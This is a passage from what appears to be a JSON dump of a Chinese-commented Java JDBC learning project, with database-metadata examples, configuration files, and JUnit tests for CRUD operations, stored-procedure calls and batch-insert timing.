rs.getString(\"PK_NAME\"); //主键名称      \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + columnName + \" - \"  \n                       + keySeq + \" - \" + pkName);       \n            }    \n        }catch (SQLException e){    \n            e.printStackTrace();    \n        }finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }  \n    }    \n      \n    /** \n     * @Description: 获取表索引信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午5:12:04  \n     * @throws \n     */  \n    public static void getIndexInfo() {   \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n        try{    \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取给定表的索引和统计信息的描述 \n             * 方法原型:ResultSet getIndexInfo(String catalog,String schema,String table,boolean unique,boolean approximate) \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * unique - 该参数为 true时,仅返回唯一值的索引; 该参数为 false时,返回所有索引; \n             * approximate - 该参数为true时,允许结果是接近的数据值或这些数据值以外的值;该参数为 false时,要求结果是精确结果; \n             */  \n            rs = dbmd.getIndexInfo(null, null, \"CUST_INTER_TF_SERVICE_REQ\", false, true);    \n            while (rs.next()){    \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别(可为null)   \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");//表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName = rs.getString(\"TABLE_NAME\");  //表名    \n                boolean nonUnique = rs.getBoolean(\"NON_UNIQUE\");// 索引值是否可以不唯一,TYPE为 tableIndexStatistic时索引值为 false;  \n                String indexQualifier = rs.getString(\"INDEX_QUALIFIER\");//索引类别（可能为空）,TYPE为 tableIndexStatistic 时索引类别为 null;   \n                String indexName = rs.getString(\"INDEX_NAME\");//索引的名称 ;TYPE为 tableIndexStatistic 时索引名称为 null;  \n                /** \n                 * 索引类型：  \n                 *  tableIndexStatistic - 此标识与表的索引描述一起返回的表统计信息  \n                 *  tableIndexClustered - 此为集群索引  \n                 *  tableIndexHashed - 此为散列索引  \n                 *  tableIndexOther - 此为某种其他样式的索引  \n                 */  \n                short type = rs.getShort(\"TYPE\");//索引类型;  \n                short ordinalPosition = rs.getShort(\"ORDINAL_POSITION\");//在索引列顺序号;TYPE为 tableIndexStatistic 时该序列号为零;  \n                String columnName = rs.getString(\"COLUMN_NAME\");//列名;TYPE为 tableIndexStatistic时列名称为 null;  \n                String ascOrDesc = rs.getString(\"ASC_OR_DESC\");//列排序顺序:升序还是降序[A:升序; B:降序];如果排序序列不受支持,可能为 null;TYPE为 tableIndexStatistic时排序序列为 null;  \n                int cardinality = rs.getInt(\"CARDINALITY\");   //基数;TYPE为 tableIndexStatistic 时,它是表中的行数;否则,它是索引中唯一值的数量。     \n                int pages = rs.getInt(\"PAGES\"); //TYPE为 tableIndexStatisic时,它是用于表的页数,否则它是用于当前索引的页数。  \n                String filterCondition = rs.getString(\"FILTER_CONDITION\"); //过滤器条件,如果有的话(可能为 null)。  \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + nonUnique + \" - \"   \n                       + indexQualifier + \" - \" + indexName + \" - \" + type + \" - \" + ordinalPosition + \" - \" + columnName   \n                       + \" - \" + ascOrDesc + \" - \" + cardinality + \" - \" + pages + \" - \" + filterCondition);       \n            }       \n        } catch (SQLException e){    \n            e.printStackTrace();       \n        } finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }    \n    }    \n      \n       \n    /** \n     * @Description: 获取表中列值信息 \n     * @author: chenzw  \n     * @CreateTime: 2014-1-27 下午2:55:56  \n     * @throws \n     */  \n    public static void getColumnsInfo(){  \n        Connection conn =  getConnection();  \n        ResultSet rs = null;  \n          \n        try{  \n            /** \n             * 设置连接属性,使得可获取到列的REMARK(备注) \n             */  \n//            ((OracleConnection)conn).setRemarksReporting(true);   \n            DatabaseMetaData dbmd = conn.getMetaData();  \n            /** \n             * 获取可在指定类别中使用的表列的描述。 \n             * 方法原型:ResultSet getColumns(String catalog,String schemaPattern,String tableNamePattern,String columnNamePattern) \n             * catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 \n             * schema - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列; 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * tableNamePattern - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             * columnNamePattern - 列名称; \"\"表示获取列名为\"\"的列(当然获取不到);null表示获取所有的列;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); \n             */  \n            rs =dbmd.getColumns(null, null, \"sys_fileupload\", null);  \n              \n            while(rs.next()){  \n                String tableCat = rs.getString(\"TABLE_CAT\");  //表类别（可能为空）                    \n                String tableSchemaName = rs.getString(\"TABLE_SCHEM\");  //表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知       \n                String tableName_ = rs.getString(\"TABLE_NAME\");  //表名    \n                String columnName = rs.getString(\"COLUMN_NAME\");  //列名    \n                int dataType = rs.getInt(\"DATA_TYPE\");     //对应的java.sql.Types的SQL类型(列类型ID)       \n                String dataTypeName = rs.getString(\"TYPE_NAME\");  //java.sql.Types类型名称(列类型名称)  \n                int columnSize = rs.getInt(\"COLUMN_SIZE\");  //列大小    \n                int decimalDigits = rs.getInt(\"DECIMAL_DIGITS\");  //小数位数   \n                int numPrecRadix = rs.getInt(\"NUM_PREC_RADIX\");  //基数（通常是10或2） --未知  \n                /** \n                 *  0 (columnNoNulls) - 该列不允许为空 \n                 *  1 (columnNullable) - 该列允许为空 \n                 *  2 (columnNullableUnknown) - 不确定该列是否为空 \n                 */  \n                int nullAble = rs.getInt(\"NULLABLE\");  //是否允许为null    \n                String remarks = rs.getString(\"REMARKS\");  //列描述    \n                String columnDef = rs.getString(\"COLUMN_DEF\");  //默认值    \n                int charOctetLength = rs.getInt(\"CHAR_OCTET_LENGTH\");    // 对于 char 类型，该长度是列中的最大字节数   \n                int ordinalPosition = rs.getInt(\"ORDINAL_POSITION\");   //表中列的索引（从1开始）    \n                /**  \n                 * ISO规则用来确定某一列的是否可为空(等同于NULLABLE的值:[ 0:'YES'; 1:'NO'; 2:''; ]) \n                 * YES -- 该列可以有空值;  \n                 * NO -- 该列不能为空; \n                 * 空字符串--- 不知道该列是否可为空 \n                 */    \n                String isNullAble = rs.getString(\"IS_NULLABLE\");    \n                    \n                /**  \n                 * 指示此列是否是自动递增  \n                 * YES -- 该列是自动递增的 \n                 * NO -- 该列不是自动递增 \n                 * 空字串--- 不能确定该列是否自动递增 \n                 */    \n                //String isAutoincrement = rs.getString(\"IS_AUTOINCREMENT\");   //该参数测试报错      \n                  \n                  \n                System.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName_ + \" - \" + columnName +   \n                        \" - \" + dataType + \" - \" + dataTypeName + \" - \" + columnSize + \" - \" + decimalDigits + \" - \"   \n                        + numPrecRadix + \" - \" + nullAble + \" - \" + remarks + \" - \" + columnDef + \" - \" + charOctetLength  \n                        + \" - \" + ordinalPosition + \" - \" + isNullAble );   \n                  \n            }  \n        }catch(SQLException ex){  \n            ex.printStackTrace();  \n        }finally{  \n            JdbcUtil2211.close(rs,conn);  \n        }  \n    }  \n      \n    /** \n     * @Description: TODO \n     * @author: chenzw  \n     * @CreateTime: 2014-1-17 下午2:47:45 \n     * @param args  \n     * @throws  \n     */  \n    public static void main(String[] args) {  \n        getDataBaseInfo();  //获取数据库信息  \n        getSchemasInfo(); //获取数据库所有Schema  \n        getTablesList();  //获取某用户下所有的表  \n        getTablesInfo();  //获取表信息  \n        getPrimaryKeysInfo(); //获取表主键信息  \n        getIndexInfo();  //获取表索引信息  \n        getColumnsInfo(); //获取表中列值信息  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/resources/log4j.properties",
    "content": "#debug < info < warn < error < fatal\nlog4j.rootLogger=debug,Console\n\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d %-5p %c(%L) %n\\u4FE1\\u606F\\: %m%n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" \nxsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" \nid=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/JdbcCrud.java",
    "content": "\n\nimport java.io.InputStream;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.jdbc.jdbc2.JdbcUtil;\n\n\npublic class JdbcCrud {\n\t\n\t/* \n\tcreate table users(\n\t    id int primary key,\n\t    name varchar(40),\n\t    password varchar(40),\n\t    email varchar(60),\n\t    birthday date\n\t);\n\t*/\n\tpublic static void main(String[] args) {\n\t\tJdbcCrud jc=new JdbcCrud();\n\t\tSystem.err.println(jc.getConnection());\n\t}\n\t\n\tpublic static Connection conn = null;\n\tpublic Statement stmt = null;\n\tpublic ResultSet rs = null;\n\tprivate static String propFileName = \"/jdbc.properties\";\n\tprivate static Properties prop = new Properties();\n\tprivate static String driver = \"com.mysql.jdbc.Driver\";\n\tprivate static String dburl = \"jdbc:mysql://127.0.0.1:3306/test?user=root&password=mysqladmin&useUnicode=true\";\n\n\tpublic JdbcCrud() {\n\t\ttry {\n\t\t\t//JdbcCrud.class.getClassLoader().getResourceAsStream(propFileName);\n\t\t\tInputStream in = getClass().getResourceAsStream(propFileName);\n\t\t\tprop.load(in); \n\t\t\tdriver = prop.getProperty(\"driver\");\n\t\t\tdburl = prop.getProperty(\"url\",\n\t\t\t\t\t\"jdbc:mysql://127.0.0.1:3306/test?user=root&password=mysqladmin&useUnicode=true&characterEncoding=gbk\");\n\t\t\tClass.forName(driver);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static Connection getConnection() {\n\t\ttry {\n\t\t\tClass.forName(driver).newInstance();\n\t\t\tconn = DriverManager.getConnection(dburl);\n\t\t} catch (Exception ee) {\n\t\t\tee.printStackTrace();\n\t\t}\n\t\tif (conn == null) {\n\t\t\tSystem.err.println(\"����: DbConnectionManager.getConnection() �����ݿ�����ʧ��.\\r\\n\\r\\n��������:\"\n\t\t\t\t\t+ driver + \"\\r\\n����λ��:\" + dburl);\n\t\t}\n\t\treturn conn;\n\t}\n\t\n    /**\n    * @Method: release\n    * @Description: 释放资源，\n    *     要释放的资源包括Connection数据库连接对象，负责执行SQL命令的Statement对象，存储查询结果的ResultSet对象\n    * @Anthor:孤傲苍狼\n    *\n    * @param conn\n    * @param st\n    * @param rs\n    */ \n    public static void release(Connection conn,Statement st,ResultSet rs){\n        if(rs!=null){\n            try{\n                //关闭存储查询结果的ResultSet对象\n                rs.close();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n            rs = null;\n        }\n        if(st!=null){\n            try{\n                //关闭负责执行SQL命令的Statement对象\n                st.close();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n        \n        if(conn!=null){\n            try{\n                //关闭Connection数据库连接对象\n                conn.close();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n\tpublic static int getRow(String sql) {\n\t\tint i = 0;\n\t\tconn = JdbcUtil.getConnection();\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(\"SELECT COUNT(*) FROM \" + sql, ResultSet.TYPE_SCROLL_INSENSITIVE,\n\t\t\t\t\tResultSet.CONCUR_READ_ONLY);\n\t\t\trs = ps.executeQuery();\n\t\t\tif (rs.next()) {\n\t\t\t\ti = rs.getInt(1);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tSystem.out.println(e.getMessage());\n\t\t\ti = 0;\n\t\t} finally {\n\t\t\tSystem.out.println(\"SELECT COUNT(*) FROM \" + sql);\n\t\t\ttry {\n\t\t\t\trs.close();\n\t\t\t\tps.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t}\n\t\t}\n\t\treturn i;\n\t}\n\n\tpublic static boolean Delete(String sql) {\n\t\tboolean b = false;\n\t\tConnection con = null;\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tcon = JdbcCrud.getConnection();\n\t\t\tps = con.prepareStatement(sql);\n\t\t\tif (ps.executeUpdate() > 0) {\n\t\t\t\tb = true;\n\t\t\t} else {\n\t\t\t\tb = false;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tb = false;\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tSystem.out.println(ps + \" Database.Delete() \" + sql);\n\t\t\ttry {\n\t\t\t\tif (ps != null) {\n\t\t\t\t\tps.close();\n\t\t\t\t}\n\t\t\t} catch (SQLException e) {\n\t\t\t\tps = null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\tif (con != null) {\n\t\t\t\t\tcon.close();\n\t\t\t\t}\n\t\t\t} catch (SQLException e) {\n\t\t\t\tcon = null;\n\t\t\t}\n\t\t}\n\t\treturn b;\n\t}\n\t\n\t\n\n    @Test\n    public void insert(){\n        Connection conn = null;\n        Statement st = null;\n        ResultSet rs = null;\n        try{\n            //获取一个数据库连接\n            conn = JdbcCrud.getConnection();\n            //通过conn对象获取负责执行SQL命令的Statement对象\n            st = conn.createStatement();\n            //要执行的SQL命令\n            String sql = \"insert into users(id,name,password,email,birthday) values(3,'白虎神皇','123','bhsh@sina.com','1980-09-09')\";\n            //执行插入操作，executeUpdate方法返回成功的条数\n            int num = st.executeUpdate(sql);\n            if(num>0){\n                System.out.println(\"插入成功！！\");\n            }\n            \n        }catch (Exception e) {\n            e.printStackTrace();\n        }finally{\n            //SQL执行完成之后释放相关资源\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void delete(){\n        Connection conn = null;\n        Statement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"delete from users where id=3\";\n            st = conn.createStatement();\n            int num = st.executeUpdate(sql);\n            if(num>0){\n                System.out.println(\"删除成功！！\");\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n            \n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void update(){\n        Connection conn = null;\n        Statement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"update users set name='孤傲苍狼',email='gacl@sina.com' where id=3\";\n            st = conn.createStatement();\n            int num = st.executeUpdate(sql);\n            if(num>0){\n                System.out.println(\"更新成功！！\");\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n            \n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void find(){\n        Connection conn = null;\n        Statement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"select * from users where id=3\";\n            st = conn.createStatement();\n            rs = st.executeQuery(sql);\n            if(rs.next()){\n                System.out.println(rs.getString(\"name\"));\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    \n    @SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static List resultSetToList(ResultSet rs) throws java.sql.SQLException {   \n        if (rs == null)   \n            return Collections.EMPTY_LIST;   \n        ResultSetMetaData md =  rs.getMetaData(); //得到结果集(rs)的结构信息，比如字段数、字段名等   \n        int columnCount = md.getColumnCount(); //返回此 ResultSet 对象中的列数   \n        List list = new ArrayList();   \n        Map rowData = new HashMap();   \n        while (rs.next()) {   \n         rowData = new HashMap(columnCount);   \n         for (int i = 1; i <= columnCount; i++) {   \n                 rowData.put(md.getColumnName(i), rs.getObject(i));   \n         }   \n         list.add(rowData);   \n         System.out.println(\"list:\" + list.toString());   \n        }   \n        return list;   \n}  \n\n\n    @Test\n    public void insertLog(){\n        Connection conn = null;\n        PreparedStatement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"insert into log(id,log_info,log_param,log_content,log_date) values(?,?,?,?,?)\";\n            st = conn.prepareStatement(sql);\n            st.setInt(1, 1);//id是int类型的\n            st.setString(2, \"日志信息1\");\n            st.setString(3, \"日志参数1\");\n            st.setString(4, \"日志内容1\");\n            st.setDate(5, new java.sql.Date(new Date().getTime()));\n            //执行插入操作，executeUpdate方法返回成功的条数\n            int num = st.executeUpdate();\n            if(num>0){\n                System.out.println(\"插入成功！！  insertLog\");\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void deleteLog(){\n        Connection conn = null;\n        PreparedStatement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"delete from log where id=?\";\n            st = conn.prepareStatement(sql);\n            st.setInt(1, 1);\n            int num = st.executeUpdate();\n            if(num>0){\n                System.out.println(\"删除成功！！  deleteLog\");\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void updateLog(){\n        Connection conn = null;\n        PreparedStatement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"update log set log_content=?,log_info=? ,log_date=?,log_param=?  where id=?\";\n            st = conn.prepareStatement(sql);\n            st.setString(1, \"content\");\n            st.setString(2, \"info\");\n            st.setDate(3, new java.sql.Date(new Date().getTime()));\n            st.setString(4, \"param\");\n            st.setInt(5, 2);\n            int num = st.executeUpdate();\n            if(num>0){\n                System.out.println(\"更新成功！！\");\n            }\n        }catch (Exception e) {\n            e.printStackTrace();\n            \n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n    }\n    \n    @Test\n    public void findLog(){\n    \tList ls=null;\n        Connection conn = null;\n        PreparedStatement st = null;\n        ResultSet rs = null;\n        try{\n            conn = JdbcCrud.getConnection();\n            String sql = \"select * from log where id=?\";\n            st = conn.prepareStatement(sql);\n            st.setInt(1, 11);\n            rs = st.executeQuery();\n            /*if(rs.next()){\n                System.out.println(rs.getString(\"log_content\"));\n            }*/\n            ls=resultSetToList(rs);\n            System.err.println(ls);\n            Iterator it = ls.iterator();   \n            while(it.hasNext()) {   \n                Map hm = (Map)it.next();   \n                System.out.println(hm.get(\"字段名大写\"));   \n            }  \n        }catch (Exception e) {\n            \n        }finally{\n            JdbcCrud.release(conn, st, rs);\n        }\n//\t\treturn list;\n    }\n    \n    \n    public  static java.sql.Date getSqlDate() {\n    \treturn new java.sql.Date(new Date().getTime());\n\t}\n    public  static java.sql.Date getSqlDate(String date) {\n    \tjava.sql.Date d = null;\n    \ttry {\n\t\t\td = new java.sql.Date((new SimpleDateFormat(\"yyyy-mm-dd\").parse(date)).getTime());\n\t\t} catch (ParseException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    \treturn d;\n    }\n\t \n}\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/test/java/JdbcUtilTest.java",
    "content": "\n\n\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Reader;\nimport java.io.Writer;\nimport java.sql.Blob;\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.Driver;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.sql.Types;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\nimport com.jun.plugin.jdbc.jdbc2.JdbcUtil;\n\n\npublic final class JdbcUtilTest { \n\t\n\n\t@Test\n\tpublic void proc2() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc2(?,?)}\");\n\t\tcs.setString(1, \"UAAA\");\n\t\tcs.setString(2, \"王健\");\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(boo);\n\t\tcon.close();\n\t}\n\n\t@Test\n\tpublic void proc3() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc5(?,?,?)}\");\n\t\tcs.setString(1, \"UBDDB\");\n\t\tcs.setString(2, \"张三\");\n\t\tcs.registerOutParameter(3, Types.INTEGER);// --int,\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(\">>:\" + boo);// true\n\t\t// 从call中获取返回的值\n\t\tint size = cs.getInt(3);\n\t\tSystem.err.println(\"行数:\" + size);\n\t\tif (boo) {\n\t\t\tResultSet rs = cs.getResultSet();\n\t\t\trs.next();\n\t\t\tint ss = rs.getInt(1);\n\t\t\tSystem.err.println(\"sss:\" + ss);\n\t\t}\n\t\tcon.close();\n\t}\n\n\t@Test\n\tpublic void proc6() throws Exception {\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc6(?,?,?,?)}\");\n\t\tcs.setString(1, \"UBafadsB\");\n\t\tcs.setString(2, \"张三\");\n\t\tcs.registerOutParameter(3, Types.INTEGER);// --int,\n\t\tcs.registerOutParameter(4, Types.INTEGER);\n\t\tboolean boo = cs.execute();\n\t\tSystem.err.println(\">>:\" + boo);// faluse\n\t\t// 从call中获取返回的值\n\t\tint size = cs.getInt(3);\n\t\tint _s = cs.getInt(4);\n\t\tSystem.err.println(\"行数:\" + size + \",\" + _s);\n\t\tcon.close();\n\t}\n\t@Test\n\tpublic void proc1() throws Exception {\n\t\t// JdbcUtil不提供调用存储过程的能力\n\t\tConnection con = DataSourceUtil.getDataSource().getConnection();\n\t\t// 获取调用过程的对象\n\t\tCallableStatement cs = con.prepareCall(\"{call proc1()}\");\n\t\t// 执行\n\t\tboolean boo = cs.execute();// 如果返回true,指最后一句执行的是select语句\n\t\tif (boo) {\n\t\t\tResultSet rs = cs.getResultSet();\n\t\t\twhile (rs.next()) {\n\t\t\t\tSystem.err.println(rs.getString(\"name\"));\n\t\t\t}\n\t\t}\n\t\tcon.close();\n\t}\n\n\t/**\n\t * 用Statement批量保存5000条记录 mysql statement batch time=3047 oracle statement\n\t * batch time=2453\n\t */\n\t@Test\n\tpublic void testStatementBatch() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(1,'t','t',1)\";\n\t\t\t\tstmt.addBatch(sql);\n\t\t\t}\n\t\t\tstmt.executeBatch();\n\t\t\tSystem.out.println(\"mysql statement batch time=\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 用PreparedStatement批量保存5000条记录 mysql preparedstatement batch time=3094\n\t * 5000 oracle preparedstatement batch time=265 oracle preparedstatement\n\t * batch time=422 50000 oracle preparedstatement batch time=2187\n\t */\n\t@Test\n\tpublic void testPreparedStatementBatch() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(?,?,?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < 500000; i++) {\n\t\t\t\tpstmt.setInt(1, 1);\n\t\t\t\tpstmt.setString(2, \"t\");\n\t\t\t\tpstmt.setString(3, \"t\");\n\t\t\t\tpstmt.setInt(4, 1);\n\t\t\t\tpstmt.addBatch();\n\t\t\t\tif (i % 50000 == 0) {\n\t\t\t\t\tpstmt.executeBatch();\n\t\t\t\t\tpstmt.clearBatch();\n\t\t\t\t}\n\t\t\t}\n\t\t\tpstmt.executeBatch();\n\t\t\tSystem.out.println(\"oracle preparedstatement batch time=\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * mysql Statement time2984 oracle Statement time2703\n\t */\n\t@Test\n\tpublic void testStatement() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO b_user(id,NAME,PASSWORD,age) VALUES(1,'t','t',1)\";\n\t\t\t\tstmt.executeUpdate(sql);\n\t\t\t}\n\t\t\tSystem.out.println(\"oracle Statement time\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n\t@Test\n\tpublic void testScroll() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tResultSet rs = null;\n\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement(ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);\n\t\t\tString sql = \"select * from rs_user\";\n\t\t\trs = stmt.executeQuery(sql);\n\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\n\t\t\tif (rs.next()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\t\t\t// 抛出异常\n\t\t\tif (rs.previous()) {\n\t\t\t\tSystem.out.println(\"name=\" + rs.getString(\"name\"));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\n\t}\n\n \n  \n\n\t \n\n\t@Test\n\tpublic void testEff() {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\t\tString sql = \"INSERT INTO vs_user(id,NAME,PASSWORD,age) VALUES(?,?,?,?)\";\n\t\ttry {\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tpstmt.setInt(1, 1);\n\t\t\t\tpstmt.setString(2, \"t\");\n\t\t\t\tpstmt.setString(3, \"1\");\n\t\t\t\tpstmt.setInt(4, 1);\n\t\t\t\tpstmt.executeUpdate();\n\t\t\t}\n\t\t\tSystem.out.println(\"oracle preparedStatement time\" + (System.currentTimeMillis() - time));\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t}\n\t}\n\n\t/**\n\t * 循环保存5000条数据 msql Statement 2984ms oracle Statement time2500 oracle\n\t * Statement time2500 oracle Statement time2438\n\t * \n\t * mysql preparedStatement time=3062ms oracle preparedStatement time2328\n\t * oracle preparedStatement time2125 oracle preparedStatement time2344\n\t */\n\t@Test\n\tpublic void testEff111() {\n\t\tConnection conn = null;\n\t\tStatement stmt = null;\n\t\tlong time = System.currentTimeMillis();\n\t\tconn = JdbcUtil.getConnection();\n\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tfor (int i = 0; i < 5000; i++) {\n\t\t\t\tString sql = \"INSERT INTO vs_user(id,NAME,PASSWORD,age) 